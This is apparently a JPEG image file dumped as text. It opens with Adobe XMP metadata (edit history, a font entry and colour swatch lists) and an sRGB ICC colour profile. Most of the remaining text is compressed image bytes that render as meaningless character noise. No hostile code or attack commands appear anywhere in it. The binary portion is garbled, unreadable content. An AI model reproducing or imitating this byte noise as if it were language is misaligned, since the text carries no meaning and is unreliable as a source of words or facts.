xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:illustrator="http://ns.adobe.com/illustrator/1.0/" xmlns:xmpTPg="http://ns.adobe.com/xap/1.0/t/pg/" xmlns:stDim="http://ns.adobe.com/xap/1.0/sType/Dimensions#" xmlns:stFnt="http://ns.adobe.com/xap/1.0/sType/Font#" xmlns:xmpG="http://ns.adobe.com/xap/1.0/g/" xmlns:pdf="http://ns.adobe.com/pdf/1.3/" xmlns:ExtensisFontSense="http://www.extensis.com/meta/FontSense/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" dc:format="image/jpeg" xmp:MetadataDate="2019-02-21T17:22:57+07:00" xmp:ModifyDate="2019-02-21T17:22:57+07:00" xmp:CreateDate="2015-06-01T21:00:46+07:00" xmp:CreatorTool="Adobe Photoshop CC 2018 (Macintosh)" xmpMM:InstanceID="xmp.iid:783c68dd-d286-4c4d-b8b9-4c3d5b0ca37b" xmpMM:DocumentID="adobe:docid:photoshop:5dff164e-a914-5847-9f00-7e3931ca1f19" xmpMM:OriginalDocumentID="uuid:5D20892493BFDB11914A8590D31508C8" xmpMM:RenditionClass="proof:pdf" illustrator:Type="Document" illustrator:StartupProfile="Print" xmpTPg:HasVisibleOverprint="False" xmpTPg:HasVisibleTransparency="False" xmpTPg:NPages="1" pdf:Producer="Adobe PDF library 10.01" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <dc:title> <rdf:Alt> <rdf:li xml:lang="x-default">Print</rdf:li> </rdf:Alt> </dc:title> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:25834e86-e1b2-4663-a814-2518694399ec" stRef:documentID="xmp.did:e6a483fd-6c89-49c7-8abe-c091c69c2f85" stRef:originalDocumentID="uuid:5D20892493BFDB11914A8590D31508C8" stRef:renditionClass="proof:pdf"/> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:e6a483fd-6c89-49c7-8abe-c091c69c2f85" stEvt:when="2015-06-01T21:00:47+07:00" stEvt:softwareAgent="Adobe Illustrator CC 2014 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from application/pdf to application/vnd.adobe.photoshop"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:32a13c06-cdd4-402a-9a1e-0fac03fecd4d" stEvt:when="2015-08-31T22:45:23+07:00" stEvt:softwareAgent="Adobe Photoshop CC 2015 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:25834e86-e1b2-4663-a814-2518694399ec" stEvt:when="2019-02-21T17:22:57+07:00" stEvt:softwareAgent="Adobe Photoshop CC 2018 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from application/vnd.adobe.photoshop to image/jpeg"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from application/vnd.adobe.photoshop to image/jpeg"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:783c68dd-d286-4c4d-b8b9-4c3d5b0ca37b" stEvt:when="2019-02-21T17:22:57+07:00" stEvt:softwareAgent="Adobe Photoshop CC 2018 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <xmpTPg:MaxPageSize stDim:w="1000.000000" stDim:h="1000.000000" stDim:unit="Pixels"/> <xmpTPg:Fonts> <rdf:Bag> <rdf:li stFnt:fontName="Maagkramp" stFnt:fontFamily="Maagkramp" stFnt:fontFace="Regular" stFnt:fontType="TrueType" stFnt:versionString="Version 0.1" stFnt:composite="False" stFnt:fontFileName="maagkramp.ttf"/> </rdf:Bag> </xmpTPg:Fonts> <xmpTPg:PlateNames> <rdf:Seq> <rdf:li>Cyan</rdf:li> <rdf:li>Magenta</rdf:li> <rdf:li>Yellow</rdf:li> <rdf:li>Black</rdf:li> </rdf:Seq> </xmpTPg:PlateNames> <xmpTPg:SwatchGroups> <rdf:Seq> <rdf:li> <rdf:Description xmpG:groupName="Default Swatch Group" xmpG:groupType="0"> <xmpG:Colorants> <rdf:Seq> <rdf:li xmpG:swatchName="White" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="255" xmpG:green="255" xmpG:blue="255"/> <rdf:li xmpG:swatchName="Black" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="35" xmpG:green="31" xmpG:blue="32"/> <rdf:li xmpG:swatchName="CMYK Red" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="237" xmpG:green="28" xmpG:blue="36"/> <rdf:li xmpG:swatchName="CMYK Yellow" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="255" xmpG:green="242" xmpG:blue="0"/> <rdf:li xmpG:swatchName="CMYK Green" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="0" xmpG:green="166" xmpG:blue="81"/> <rdf:li xmpG:swatchName="CMYK Cyan" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="0" xmpG:green="174" xmpG:blue="239"/> <rdf:li xmpG:swatchName="CMYK Blue" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="46" xmpG:green="49" xmpG:blue="146"/> <rdf:li xmpG:swatchName="CMYK Magenta" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="236" xmpG:green="0" xmpG:blue="140"/> <rdf:li xmpG:swatchName="C=15 M=100 Y=90 K=10" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="190" xmpG:green="30" xmpG:blue="45"/> <rdf:li xmpG:swatchName="C=0 M=90 Y=85 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="239" xmpG:green="65" xmpG:blue="54"/> <rdf:li xmpG:swatchName="C=0 M=80 Y=95 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="241" xmpG:green="90" xmpG:blue="41"/> <rdf:li xmpG:swatchName="C=0 M=50 Y=100 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="247" xmpG:green="148" xmpG:blue="30"/> <rdf:li xmpG:swatchName="C=0 M=35 Y=85 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="251" xmpG:green="176" xmpG:blue="64"/> <rdf:li xmpG:swatchName="C=5 M=0 Y=90 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="249" xmpG:green="237" xmpG:blue="50"/> <rdf:li xmpG:swatchName="C=20 M=0 Y=100 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="215" xmpG:green="223" xmpG:blue="35"/> <rdf:li xmpG:swatchName="C=50 M=0 Y=100 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="141" xmpG:green="198" xmpG:blue="63"/> <rdf:li xmpG:swatchName="C=75 M=0 Y=100 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="57" xmpG:green="181" xmpG:blue="74"/> <rdf:li xmpG:swatchName="C=85 M=10 Y=100 K=10" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="0" xmpG:green="148" xmpG:blue="68"/> <rdf:li xmpG:swatchName="C=90 M=30 Y=95 K=30" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="0" xmpG:green="104" xmpG:blue="56"/> <rdf:li xmpG:swatchName="C=75 M=0 Y=75 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="43" xmpG:green="182" xmpG:blue="115"/> <rdf:li xmpG:swatchName="C=80 M=10 Y=45 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="0" xmpG:green="167" xmpG:blue="157"/> <rdf:li xmpG:swatchName="C=70 M=15 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="39" xmpG:green="170" xmpG:blue="225"/> <rdf:li xmpG:swatchName="C=85 M=50 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="28" xmpG:green="117" xmpG:blue="188"/> <rdf:li xmpG:swatchName="C=100 M=95 Y=5 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="43" xmpG:green="57" xmpG:blue="144"/> <rdf:li xmpG:swatchName="C=100 M=100 Y=25 K=25" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="38" xmpG:green="34" xmpG:blue="98"/> <rdf:li xmpG:swatchName="C=75 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="102" xmpG:green="45" xmpG:blue="145"/> <rdf:li xmpG:swatchName="C=50 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="146" xmpG:green="39" xmpG:blue="143"/> <rdf:li xmpG:swatchName="C=35 M=100 Y=35 K=10" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="158" xmpG:green="31" xmpG:blue="99"/> <rdf:li xmpG:swatchName="C=10 M=100 Y=50 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="218" xmpG:green="28" xmpG:blue="92"/> <rdf:li xmpG:swatchName="C=0 M=95 Y=20 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="238" xmpG:green="42" xmpG:blue="123"/> <rdf:li xmpG:swatchName="C=25 M=25 Y=40 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="194" xmpG:green="181" xmpG:blue="155"/> <rdf:li xmpG:swatchName="C=40 M=45 Y=50 K=5" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="155" xmpG:green="133" xmpG:blue="121"/> <rdf:li xmpG:swatchName="C=50 M=50 Y=60 K=25" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="114" xmpG:green="102" xmpG:blue="88"/> <rdf:li xmpG:swatchName="C=55 M=60 Y=65 K=40" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="89" xmpG:green="74" xmpG:blue="66"/> <rdf:li xmpG:swatchName="C=25 M=40 Y=65 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="196" xmpG:green="154" xmpG:blue="108"/> <rdf:li xmpG:swatchName="C=30 M=50 Y=75 K=10" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="169" xmpG:green="124" xmpG:blue="80"/> <rdf:li xmpG:swatchName="C=35 M=60 Y=80 K=25" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="139" xmpG:green="94" xmpG:blue="60"/> <rdf:li xmpG:swatchName="C=40 M=65 Y=90 K=35" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="117" xmpG:green="76" xmpG:blue="41"/> <rdf:li xmpG:swatchName="C=40 M=70 Y=100 K=50" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="96" xmpG:green="57" xmpG:blue="19"/> <rdf:li xmpG:swatchName="C=50 M=70 Y=80 K=70" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="60" xmpG:green="36" xmpG:blue="21"/> </rdf:Seq> </xmpG:Colorants> </rdf:Description> </rdf:li> <rdf:li> <rdf:Description xmpG:groupName="Grays" xmpG:groupType="1"> <xmpG:Colorants> <rdf:Seq> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=100" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="35" xmpG:green="31" xmpG:blue="32"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=90" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="65" xmpG:green="64" xmpG:blue="66"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=80" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="88" xmpG:green="89" xmpG:blue="91"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=70" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="109" xmpG:green="110" xmpG:blue="113"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=60" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="128" xmpG:green="130" xmpG:blue="133"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=50" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="147" xmpG:green="149" xmpG:blue="152"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=40" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="167" xmpG:green="169" xmpG:blue="172"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=30" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="188" xmpG:green="190" xmpG:blue="192"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=20" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="209" xmpG:green="211" xmpG:blue="212"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=10" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="230" xmpG:green="231" xmpG:blue="232"/> <rdf:li xmpG:swatchName="C=0 M=0 Y=0 K=5" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="241" xmpG:green="242" xmpG:blue="242"/> </rdf:Seq> </xmpG:Colorants> </rdf:Description> </rdf:li> <rdf:li> <rdf:Description xmpG:groupName="Brights" xmpG:groupType="1"> <xmpG:Colorants> <rdf:Seq> <rdf:li xmpG:swatchName="C=0 M=100 Y=100 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="237" xmpG:green="28" xmpG:blue="36"/> <rdf:li xmpG:swatchName="C=0 M=75 Y=100 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="242" xmpG:green="101" xmpG:blue="34"/> <rdf:li xmpG:swatchName="C=0 M=10 Y=95 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="255" xmpG:green="222" xmpG:blue="23"/> <rdf:li xmpG:swatchName="C=85 M=10 Y=100 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="0" xmpG:green="161" xmpG:blue="75"/> <rdf:li xmpG:swatchName="C=100 M=90 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="33" xmpG:green="64" xmpG:blue="154"/> <rdf:li xmpG:swatchName="C=60 M=90 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="127" xmpG:green="63" xmpG:blue="152"/> </rdf:Seq> </xmpG:Colorants> </rdf:Description> </rdf:li> </rdf:Seq> </xmpTPg:SwatchGroups> <ExtensisFontSense:slug> <rdf:Bag> <rdf:li ExtensisFontSense:Family="Maagkramp" ExtensisFontSense:Version="0.1" ExtensisFontSense:OutlineFileSize="0" ExtensisFontSense:KerningChecksum="0" ExtensisFontSense:Foundry="--" ExtensisFontSense:FontKind="TrueType" ExtensisFontSense:Checksum="3912312553" ExtensisFontSense:PostScriptName="Maagkramp" ExtensisFontSense:FontSense_1.2_Checksum="3912312553"/> </rdf:Bag> </ExtensisFontSense:slug> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>XICC_PROFILE   HLino  mntrRGB XYZ   	  1  acspMSFT    IEC sRGB                   -HP                                                 cprt  P   3desc     lwtpt     bkpt     rXYZ     gXYZ  ,   bXYZ  @   dmnd  T   pdmdd     vued  L   view     $lumi     meas     $tech  0   rTRC  <  gTRC  <  bTRC  <  text    Copyright (c) 1998 Hewlett-Packard Company  desc       sRGB IEC61966-2.1           sRGB IEC61966-2.1                                                  XYZ       Q    XYZ                 XYZ       o  8  XYZ       b    XYZ       $    desc       IEC http://www.iec.ch           IEC http://www.iec.ch                                              desc       .IEC 61966-2.1 Default RGB colour space - sRGB           .IEC 61966-2.1 Default RGB colour space - sRGB                      desc       ,Reference Viewing Condition in IEC61966-2.1           ,Reference Viewing Condition in IEC61966-2.1                          view      _.    \   XYZ      L	V P   Wmeas                            sig     CRT curv           
     # ( - 2 7 ; @ E J O T Y ^ c h m r w |                         %+28>ELRY`gnu|&/8AKT]gqz !-8COZfr~ -;HUcq~+:IXgw'7HYj{+=Oat2FZn		%	:	O	d	y						

'
=
T
j





"9Qi*C\u&@Zt.Id	%A^z	&Ca~1Om&Ed#Cc'Ij4Vx&IlAe@e Ek*Qw;c*R{Gp@j>i  A l   !!H!u!!!"'"U"""#
#8#f###$$M$|$$%	%8%h%%%&'&W&&&''I'z''((?(q(())8)k))**5*h**++6+i++,,9,n,,--A-v--..L.../$/Z///050l0011J1112*2c2233F3334+4e4455M555676r667$7`7788P8899B999:6:t::;-;k;;<'<e<<="=a==> >`>>?!?a??@#@d@@A)AjAAB0BrBBC:C}CDDGDDEEUEEF"FgFFG5G{GHHKHHIIcIIJ7J}JKKSKKL*LrLMMJMMN%NnNO OIOOP'PqPQQPQQR1R|RSS_SSTBTTU(UuUVV\VVWDWWX/X}XYYiYZZVZZ[E[[\5\\]']x]^^l^__a_``W``aOaabIbbcCccd@dde=eef=ffg=ggh?hhiCiijHjjkOkklWlmm`mnnknooxop+ppq:qqrKrss]sttptu(uuv>vvwVwxxnxy*yyzFz{{c{|!||}A}~~b~#G
k͂0WGrׇ;iΉ3dʋ0cʍ1fΏ6n֑?zM _ɖ4
uL$h՛BdҞ@iءG&vVǥ8nRĩ7u\ЭD- u`ֲK³8%yhYѹJº;.!
zpg_XQKFAǿ=ȼ:ɹ8ʷ6˶5̵5͵6ζ7ϸ9к<Ѿ?DINU\dlvۀ܊ݖޢ)߯6DScs2F[p(@Xr4Pm8Ww)Km Adobe d@     		

				
	
 ,N   J            	
         	
 s !1AQa"q2B#R3b$r%C4Scs5D'6Tdt&	
EFVU(eufv7GWgw8HXhx)9IYiy*:JZjz m !1AQa"q2#BRbr3$4CS%cs5DT	
&6E'dtU7()󄔤euFVfvGWgw8HXhx9IYiy*:JZjz   ? @96."ChDȐ$6	."ChDȐ$KhȐ$K%$6	/!Ix9"Chr$6	.!Ix9"C`r4$KȐ$ě`r$6/"C1%Hl^DbM%iIp9.3^F.F7`W@3p9d
`.L]\n)-2	ov*UثWb]v*UثWb]v*UثWb]l "KdHl_\66D%6*Ȑ$KȐ$6@%$6	/"C`r$6/!IxlKȐ$KdHl^"C`r6	.D%$6	/"C`r$6	.D%Hl^D%Hl\DbK%!Ip9/"C1%iIvFė!Ip9]x)r4`#L\
fuLo0[LnpS WW".]v*UثWb]v*UثWb]v*UثW9%8KȐ$6@%Hl\D5$6/!IxlKȐ&KdHm^ C`Hm\D%$6/!Ip9%6	/!Ix9m]\KdHm^DbK$)Ip9!Ip9#Lě
m\DbKȐ$ėW#MM6	> s t8uUuKQ@+%jmmIGTkFCyQFgN/?ϟRM<I&ǬX4$_\/f=iJ{W`IbK0W W@bM2d
i\RUثWb]v*UثWb]v*UثWb_lZ$K!IplJ$6	/ C`!IplKdHl^D%Ȑ&6D%6	/"C`r$6.!IxlJHl\FD!IxlKdl\FD%Hm^DbKhu`r$6	/"C`r$6	.FWKȐIx9R8 9꿜Z:ͥ_is"%싹'EPf_qCy̼oCχ7y:c4?Aot^1DaK331  ,|I9JR+;6L5L#$mk@~mhֺB%h(AYH,r(͇&! 	|-Mɘ˭ͥ3u6 ȿzo ?/@t? }àԇ\F)```3p9d
pS0[F끘+pS [ov*UثWb]v*UثWb]v*U9aIxlKdHm\D%Hm^"C`%Hl^"Ch!Ip9DȐ$"C`r6	.#MKdHm^"C`r6	."ChdHl^D%Hl\D%Hl^@%Ȑ$$K$KS`O-[U]gYY.jjZ$w6wv:qCy̺!C%i4}?O|Zq%+*K33 P	fcIJRIYܗrdɟ!}  ȹ?oֱɬI٘lVH!ݏ߲wf#W_Lo6ayO!yyǿ]k_[߭yVsC/9U rZ Z+-u#Xmr= їޅs,\o(M6#ueaPjg)8K[l94&et/	|-Mɜ˭ͥ;u6 ȿzt= ӍP}AC |:mH{%!r41&S```#L\
f
r4Lo ]pS WW2	v)v*UثWb]v*UثWb]v* 9y<$r$6/"C`D!Ip9l\D%$6	/!Ix9D%6	/!Ip9D%6	*Ȑ$D!IxlKdHl_\K!IplJ6."C`Hl\D%Hl^D%Ȑ$KȐ$qqVWYVm/KGR)'DPfB:a7<ˤ܎1!;_vCAӴ{M˺Xa^0[¥  3NqҔJi9ϐDR?_  ?7^F-Ԗ@-RMbD;1R*wc7=ٞ~6ay!NAX9!ė!/ǯmk_Z߭yV6ƋND@H+.]66At]xKG^_wyZ{oy\-R8*b7VVFrsʎ>KM6C	Drq~_#K{dy2g2z$@Ny#M'y ӡ} o>ӍP}AC |8m{%Hf
r$3^FbM6	.#L\
f
r4@
dx
fuLnV)v*UثWb]v*UثWb]`90$6@bKhr4$6D%$6	/"C`r4$6D%6	/"C`Hm\D%@$kȐ$6D%6	/"Chr$6/!IxlKhr$6	/!IxlK`Hm\"C`r6	/#MOomYuef .Z$76wviGK3yQxcCwy:h4]I擧ZiPۯ: ?Nw&se#ds,fX_w垙'uwZtF,{AGpOP5ړ@'ϣKG?K^ D%N L.gw/oy ~jG|oO_h $?/{?Oy ~ -ot>GG˿Q+S;-aOċe$ qb)PxauW:S}(DP5w6,QOOMc euaFVSlA@iAC 9A 8/y3u YcܟNCO{ k>{M0g? +z{%Hf$6	.\F7u0W3p8)+@1&끐+ [Fp2KWb]v*UثWb]v* Esb@Ip9D!Ixlė"Ch`Hl^"Ch!Ip9DȐ$6D%m\D%$6/!Ix9D%6/!Ix9%$6*$K5Hm^ C`%iI__vϫWޕ0>	/dMͭ=   *4ݫqG;.;^:HyC̿g;@vo_
,
ff>$)e2'SN͙%'?t+̚%''m״7L< ryZҔuFك8|2=*bPc -ud \G\?O E?Y VO%c0 U?/+W ]g qY?{S  k +'` C gd= K[ j k +'`@{S E  VO&*/L4$jV1_mʺͦDў8We,+ңB}@#'#etu/Z{oy{\mrxVGV5V 3C8KeM>C	D?a~]P 0KYo?0?/o%]oEm%7&ܟҝgvҽ `y ;=fޞIur4$3\DbK0W6	7f$8)+L\F [`3d
@\%RUثWb]v*UثWb 9$6	.!IxlK$!IxlKdHl]\KȐ$6@%@%Ȑ$6D%6	/FDW#MKdHl^ C`r$6."ChȐ$K!IxlKdHl}Y 8 8٫t+6uLKsihO~?ʠ'kvt<wuݣڃK<M|/uBBaK331  ff>$89Nygf̉\<fDߒ??W^E-Զr^QˬfmԊo*d8ӏ&?k?d82o??@9!ė!Iur$6	.6	. C`r$6	/"C`
l}# 8 9JUo"j)״ j1nӑeP7@8V]n㩍9]/m.>clA|_/YkvߝQ':؍ՕA|,R1)͇&!.($O7s.>wtnI }ӣ} O~~d:Ǿ {snCډ.MM!Ip9/#Lėf$
lli+L]\3upS [S0[0[
H+N]v*UثWb] 9$ė!I}r4$9D!IxlKȐ$KdHm^ C`r$6	.#MkȐ$6D%6/#MKȐ$6D%$6/ C``!IxlJ$6	."Chr$6/!IxlKȐ$qqXYVm'I.(%Bm-	  *4}ǆ;<wnkDiCy̿jt7Ly{^^+*Vk[hT33  fcIsϧ9杛2'KJR+;  ͺ'.]fXf`hVH!ݏ v?c82 c^4`? 9!߉.D%$6	/"C`r$6	.D&Ȑ$ė!I}r$6	> y  %uzڿij,h[@YT@8V]ohv|u1#0A|Ck^󯗬]o(M6#utaPjg8Kd(3aɧa0c(/ˏ鼉-˭hϤےCЎDeO{9'@w{6=bMiIp8l\DbKȐi-f$pS`r4@#L\
duȳY	7\끐+r,RUثWb]v*Us
|I%Hl^@bKȐ$)Ip9m^D%l\D%iIxlKdHl^D%Hm\"C`!Ip9DȐ$6@%Hm\D5Hm^ C`9DW"C`r$6> g i?:uֵIgj8I}"PKBG_~?ʠltQ!p(o"t/y3noi-yzЬ0XmmR@  Y':vnRrJ"*?*n3n;l /,j9ucj`hVH!ݏ v/b0r}swKdHl^"C`r4$6.!IxlKȐ$l\D!r$6	> y  %uzڷit%5h~iȀŨB{C㩍9:nhv,mr?}0~Z-sC|sJ<SD#]T AN#
!riL%o 9E 87%y;u YcܛrO~voixt= og=3t? }`^D%1&낛%ipS0WbMf$r4
pS W`2p9f
dS1&끘+ [Fu.]v*UثW9!/"C`iIr$6	/"C`r$3^D&!Ip9!Ix9"C`r$6.!IP6@%Ȑ$DȐ$6D%$DȐ$"Chr6	."ChȐ$qqXZ֖}'I.KZ: ;AUs1ǆ;<wNX1
SM|/[m|B¥aK331  ff>,ǩ7vnR36w% 9U 9Wsuu?!]gwg/CP^Q˭KfmԊo*bv(o}ь^}_w|@:"r$6.#MKdHm^ C`"C``Hm^D%Hl_\M#MKȐ$ğI <Cnm[zuLh[@YTQP$PevgGSHr?~xv,mr?}aGk^󷗬]m xVGV05V 3ɎXc!D>aM>C	D-(e?O?s.>wtnI }B:^!y>_s·lBKȐIx9Lė%!Ip9/#L]\3o1&L\F@F`3d
@\%RUثWb_99."C`r$3^D&4$6	/"C`r3\FWKȐ$KȐ$KȐ$6D%$6	/"Chr$6	/!IxlK`r$6/!IxlKȐ$qqXZ֖}'I.(%Bm-	  *9hcCՆmO ۛL</[m|2¥`K331  ff>,ǩ2|RJGK$ܗ_m}ߐw-՜uAyG.,m04+nUU.Qy!IR>t;!%hdl^D&Ȑ$6D%$6	/ C`p$K$K!Ip9m^D'䮷[[W2wBVv*qjcciGΟ;X AB׼o/YkvߝQ'YXlF X3&9b\Y4&e  \r`_Y<J̺֋,KnM'y?)vgixt= }h0 ;=7$=r$6	/"C1%iIvFė!r$3\
f
iIIpS0W`
d
r4@-@\n)+6N]v* s|Iv
f$9!Ix9.
l]\6	."C`r$6	."C1%``Hm^D%Hl^FW#MKdHl^ C`r$6	.FD!IxlJ6	."Chr$6	> b d;ֵH'8I}"PKBG_~<Z9h!Cgyot3˾J[Yw>]+*Vk[h33  fcz&|R&RI~> WWh\7r]YPWrRЭ!ݏ 蝃H\C!dsȐ$6D%l\D%@k"C`_ /~v~bGޓ&ZOFEz⑰Ft};=ѓ1bln_۶T0zz5J== &EڡO)}1XϿ'җaU\BB?`}Im'3tZѕe'/-}!ȏiu=DOog#?` xZO*~eM]Z][4!,V?iܼ^_1q	5q<ۦȵ7moSlU.:xFGmͷ	o/ikOk>{}3MKos@&E(hUЂcM0y-KȐ$K!Ir$6> w  %5ϪڷitjбnӑeP%ŨBG9:kcl~hZ-sC|sJ<SD#]T A,R14ˋ&22~ZQ .K9o0/%N]kE}%7&ܓ <tݙ~/}]A1? }k{%Hl^D%Hf$ln)Ip9.ė`#Lo`uLė`2p9`2p9`BM3d
i-+ov* h9m>F$ėW#MM3\D%Hf$K둦&!Ip8l^@%Hf$m\
l^@%$6	.D%iIxlKdHl^@%%6/!I.,G嶑8]WUQKZ: ;A{aO!@ύi]Om2˞XXaR[Z@  3cdɓQDR?Xs~< XXh]r\QWrr3BEQ~7_G6ay!yybn_Τ(Ix9!MplJ6=Sqi~Ze8+4"5=4#n]"9.8ߔ?Q[]i+_4I]i"p zpv?kgd˱4;9Oy|=;z~.uGE&yp㉑)l О[}
=gSYmE#.'*?[˝s 8 9%-<YVO^ծbd 2⾕ʼj_{Y *3g;f*kE	C=R qpоW~=/&cu󟟔ګ>c5*Hpb|j06YG1~ݾ7'bI}c ~b[%yManeN4m91wu1\Hc ?v'<RmdQ"u@;G6%q7iuv TyK-c"[E&?jJIg-Wg\޿c}2>[6;%6	/"C`r4$m}+ 8 9JkTo!j)״ jnӑeP%ŨBGc9:kcl~Z-sC|[sJ<SD#]T Ad,R15ˋ&	%g 9G 87y;u YcܛrO~giՏ!t= }=s_Cf]\6	."C`r$6	."C1%ln)r$6	/"C0W!+LěIr4
pS W`
f
r4`bM0WW [
duoH9	/#L\DbKȐI$l\DbKȐIx9W6	."C`r$6	/"C`r$3nD!Ix9Ȑ$!IxlKdHl\D' 4~SiGB]?FKy-P?}<6KAtC!`9oLhA9`.V 64F򾍦{lF@nl#4 I;9O4nGrKsKswߞCE~T=u]~#p5g;=u"NGUhIdy{A9$KdHm^"C`r$7qkqb ?7yg?-4ʖJ>4fuXI('ɣwc=>gϸ|Nͩ9gl|/ecR#x[ZZ[D3x,I$JY3R>K$琷?G3FZ>^E9qFQCgcٞ 7aE{|R}k:5[Yoy^ <TvQ3ŧ"#;lu@RFJğ3[ Ϳ?w{\6wu}lG ?4 . ;{-5/4ACzq$~j:E徣隅s&$)+HXfH}+ 9O/im't2V4DRӔ8¨Nss2\zOwCs<'űz;ցy'Ѻ.#
PɊxg c 󓄱J(??T~VQo\<(Ac`^nL/#;R1f>}Gev #t=(r$6	."C`"C`4uGXyoߜ?.5vQcV3eP>%IqjçTf9~9ݽI9. qzrECq
	T28+) BqAe 7*m_9swAc,Dޠ*WqҙNZdOzjda#'
`9!`r$6/"C1%Hl^DbM%iIp9.3^Ff$bM3p8)+ W@3up2@\>}duLėW!+C1%iyl\/"C`r$3^D&4$KȐ$K`Hl\D%$6	/"C`Hm\D%Hl} 8k 9m G1 ?Kܟ`]c]5pf۰g<@9dZ{%Լi`ޜo똮5̿9d.1=Wޠ5 (?6|9A1ETeU߯`62eu~F{.~a~GM&y/dӳul*^CVkw$T'erv==3iIMswMKȐ$/q6S	mwr#إcFԠUE<(tڑ_-<?zm.Gon],(U:ITDZO%'&|nR\=~+ PRߜǖ<q>eMK{a)ui#;\.ǅEc٘s_K><y?|?`!i^ Ch[ ?w{`6wuݤlG ?4 . ;{+5/0YO?g"Kdm^D'B~y;KsdjRԥ_'˲̣w-QW}[
;Hr?6ILh!:?s.`ycKWotrVp;T"A8ςx2LTe,R1?"?/$^p򥟥5ʖL.֢P^/
